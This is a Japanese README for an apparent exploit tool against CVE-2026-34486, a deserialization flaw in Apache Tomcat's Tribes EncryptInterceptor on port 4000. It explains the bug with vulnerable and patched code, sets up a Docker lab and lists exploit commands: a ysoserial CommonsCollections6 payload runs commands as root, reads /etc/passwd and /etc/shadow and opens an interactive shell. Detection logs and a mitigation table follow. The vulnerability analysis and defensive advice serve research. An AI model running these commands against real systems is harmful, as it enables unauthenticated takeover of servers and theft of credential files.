
Apache Tomcat EncryptInterceptorのバイパスを悪用し、ポート4000上のJavaデシリアライゼーションを介して認証なしのRCEを引き起こすエクスプロイト。ラボ環境のセットアップ、対話型シェル、検出ガイダンスを含む。
| フィールド | 情報 |
|---|
| CVE ID | CVE-2026-34486 |
| CVSS スコア | 7.5 (High) |
| コンポーネント | Apache Tomcat Tribes EncryptInterceptor |
| 影響を受けるバージョン | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 |
| 修正済みバージョン | 9.0.117 / 10.1.54 / 11.0.21 |
| 脆弱性の種類 | デシリアライゼーションによる認証不要のリモートコード実行 |
| 攻撃ベクトル | ネットワーク / 認証不要 / 低複雑性 |
| 攻撃ポート | TCP 4000 (Tribes NioReceiver) |
Apache Tomcat のクラスタリング機能は、Tribes フレームワークを使用してクラスタノード間でセッションデータを同期し、デフォルトで TCP ポート 4000 をリッスンします。
EncryptInterceptor (AES/CBC) が有効な場合、以下のロジック上の欠陥が存在します:
// EncryptInterceptor.java — 脆弱なバージョン
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// 復号化されたメッセージを処理...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // エラーをログに記録するのみ
}
super.messageReceived(msg); // ← バグ: 復号化失敗後も生のバイト列が転送される
}
catch ブロックはエラーをログに記録するだけです。super.messageReceived(msg) は try-catch の外側にあるため、暗号化されていない生のバイト列が XByteBuffer.deserialize() → ObjectInputStream.readObject() に転送されます。
攻撃者は認証なしで細工したデシリアライゼーションペイロードを送信して RCE を引き起こすことができます。
攻撃者 ──TCP:4000──► NioReceiver (認証なし)
│
EncryptInterceptor.messageReceived()
try { AES/CBC 復号化 → IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } ← ログトレースのみ
super.messageReceived(msg) ← バグ: 生のバイト列が通過
│
GroupChannel → XByteBuffer.deserialize()
│
ObjectInputStream.readObject() ← デシリアライゼーションが発動
│
CommonsCollections6 ガジェットチェーン
│
Runtime.exec() → root として RCE 🔴
この修正では super.messageReceived(msg) を try ブロックの内側に移動し、復号化に失敗した場合はメッセージが黙って破棄されるようにします (フェイルクローズ)。
// EncryptInterceptor.java — パッチ適用済みバージョン
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// 処理...
super.messageReceived(msg); // ← 修正済み: 復号化が成功した場合のみ到達
} catch (Exception e) {
log.error("Failed to decrypt message", e); // メッセージは破棄される
}
}
java と javac が PATH にあること)ysoserial-all.jarapache-tomcat-9.0.116 (Tribes ライブラリ用)docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# 確認
curl http://localhost:8080
# exp
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116 (Tribes ライブラリ用)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# 確認
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# 出力: uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
python3 exp.py -t 127.0.0.1 -p 4000 --shell
# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib
-t, --target ターゲット IP (デフォルト: 127.0.0.1)
-p, --port Tribes ポート (デフォルト: 4000)
--http-port 出力取得用の HTTP ポート (デフォルト: 8080)
-c, --command コマンドを直接実行 (シェル機能なし)
--rce コマンドを実行し、HTTP 経由で出力を取得
--shell 対話型シェルモード
-g, --gadget ガジェットチェーン (デフォルト: CommonsCollections6)
--ysoserial ysoserial jar へのパス
--tomcat-lib Tomcat lib ディレクトリへのパス
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
34486
Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE
ターゲット : 127.0.0.1:4000
ガジェット : CommonsCollections6
[*] TribesClient.java をコンパイル中 ...
[+] コンパイル成功
[*] CommonsCollections6 ペイロードを生成中 ...
[+] ペイロード: 1361 バイト
[*] Tribes フレームを送信中 → 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] フレーム送信完了!
[*] 結果を取得中: http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
攻撃によって残される唯一のログトレース:
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
readObject の例外はログに記録されません — コマンドは静かに実行されます。
| アクション | 優先度 |
|---|---|
| Tomcat 9.0.117 / 10.1.54 / 11.0.21 にアップグレード | Critical |
| ポート 4000 を信頼できるクラスタ IP のみに制限 | High |
繰り返し発生する Failed to decrypt message のログを監視 | Medium |
| 不要な場合は Tribes クラスタリングを無効化 | High |
このプロジェクトは、許可されたセキュリティ研究、ペネトレーションテスト、および教育目的のみを対象としています。 所有していない、または明示的なテスト許可がないシステムに対してこのツールを使用しないでください。 著者は、このツールによって引き起こされた誤用や損害について一切の責任を負いません。
MIT License © 2026 404-src